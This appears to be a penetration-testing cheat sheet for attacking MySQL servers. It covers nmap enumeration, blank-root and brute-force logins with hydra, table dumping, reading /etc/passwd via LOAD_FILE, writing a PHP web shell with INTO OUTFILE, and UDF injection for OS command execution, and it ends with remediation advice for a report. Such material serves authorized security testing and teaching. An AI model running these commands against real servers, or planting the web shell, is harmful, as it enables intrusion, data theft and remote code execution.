🛡️ Methodology Checklist

  • Banner grab + version: nmap -p 3306 --script mysql-info [TARGET]
  • Try blank root: mysql -u root -h [TARGET] (no password)
  • Brute-force: hydra -l root -P pass.txt mysql://[TARGET]
  • If authenticated: enumerate databases → SHOW DATABASES;
  • Check for sensitive tables and dump: SELECT * FROM [TABLE];
  • Check FILE privilege for LFI: SELECT LOAD_FILE('/etc/passwd');
  • Write webshell: SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php';
  • Check for user hashes in mysql.user table

🎯 Operational Context

Think Dumber First: mysql -u root -h [TARGET] with no password — this succeeds on ~30% of externally-accessible MySQL instances. If you get in, immediately run SELECT @@version, @@datadir, @@plugin_dir to understand your environment. Even a low-privilege user can dump databases they have SELECT on. UDF injection is the path from SQL user to OS shell on Linux.

When you land here: Port 3306 open. Try root/blank, root/root, root/password. If app credentials available from config files, try those. SHOW GRANTS immediately after auth to assess privileges. LOAD_FILE('/etc/passwd') tests FILE privilege.


⚡ Tactical Cheatsheet

CommandTactical Outcome
sudo nmap [TARGET_IP] -sV -sC -p3306 --script mysql*Nmap scan — version, empty password, user list
mysql -u root -p[PASSWORD] -h [TARGET_IP]Connect (no space between -p and password!)
mysql -u root -h [TARGET_IP]Connect — prompt for password
CommandTactical Outcome
show databases;List all databases
use [database];Switch to database
show tables;List tables in current database
show columns from [table];Show column names
select * from [table];Dump all rows
select * from [table] where [col] = "[val]";Search for specific value
select version();Show MySQL server version
select @@version;Alternative version query

🔬 Deep Dive & Workflow

Inside MySQL shell:

Initial Enumeration

  • Nmap: sudo nmap [TARGET_IP] -sV -sC -p3306 --script mysql*
    • Check mysql-empty-password — root with no password?
    • Check mysql-info — protocol version
    • Check mysql-users — list of accounts
  • Try root with no password: mysql -u root -h [TARGET_IP]
  • Try empty password via nmap result

Attacks

  • Connect with found credentials: mysql -u [USER] -p[PASS] -h [TARGET_IP]
  • show databases; → identify non-default databases
  • Dump user/credential tables
  • Check secure_file_priv — if empty, may allow file write (RCE via web shell)
  • Check /etc/mysql/mysql.conf.d/mysqld.cnf for cleartext password= entry if local access

Core Info

  • Default Port: 3306 (TCP)
  • Often part of LAMP/LEMP stacks — co-located with web servers
  • Config: /etc/mysql/mysql.conf.d/mysqld.cnf or /etc/mysql/my.cnf

Dangerous Config Settings

SettingRisk
userShows which OS user runs MySQL — pivot target
passwordCritical — may contain cleartext MySQL password
debugVerbose logging may leak sensitive data
secure_file_privIf empty → INTO OUTFILE writes files (potential RCE)

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Remote MySQL connection refusedBound to 127.0.0.1 onlyAccess via existing shell or SQL injection in web app; try mysql -u root -h 127.0.0.1 from inside the box
INTO OUTFILE fails ‘Access denied’FILE privilege not granted or path not writable by mysql userCheck SHOW GRANTS; try writing to /tmp/ or /var/lib/mysql/; check AppArmor: aa-status
UDF injection fails ‘Can’t open shared library’SELinux/AppArmor blocking plugin loadCheck SHOW VARIABLES LIKE 'plugin_dir'; use raptor_udf2.c and load from the exact plugin_dir path
mysqldump exits ‘Access denied on table’Partial privilegesAdd --no-tablespaces; dump only accessible databases; SHOW DATABASES to confirm accessible schemas
Login succeeds but queries very slowMax packet size exceeded or slow query log enabledAdd --max_allowed_packet=16M; check SHOW PROCESSLIST for blocking queries

📝 Reporting Trigger

Finding Title: MySQL Root Access with Blank Password / Privileged Database Access Impact: Full database exfiltration. FILE privilege enables reading OS files (/etc/passwd, SSH keys). UDF injection enables OS command execution as mysql service user. Root Cause: MySQL root account has no password set. Remote root login permitted (host='%' in mysql.user table). Recommendation: Set strong root password. Restrict root login to localhost only. Disable remote root login (DELETE FROM mysql.user WHERE User='root' AND Host!='localhost'). Remove FILE privilege from all non-admin accounts. Bind MySQL to 127.0.0.1 (bind-address = 127.0.0.1).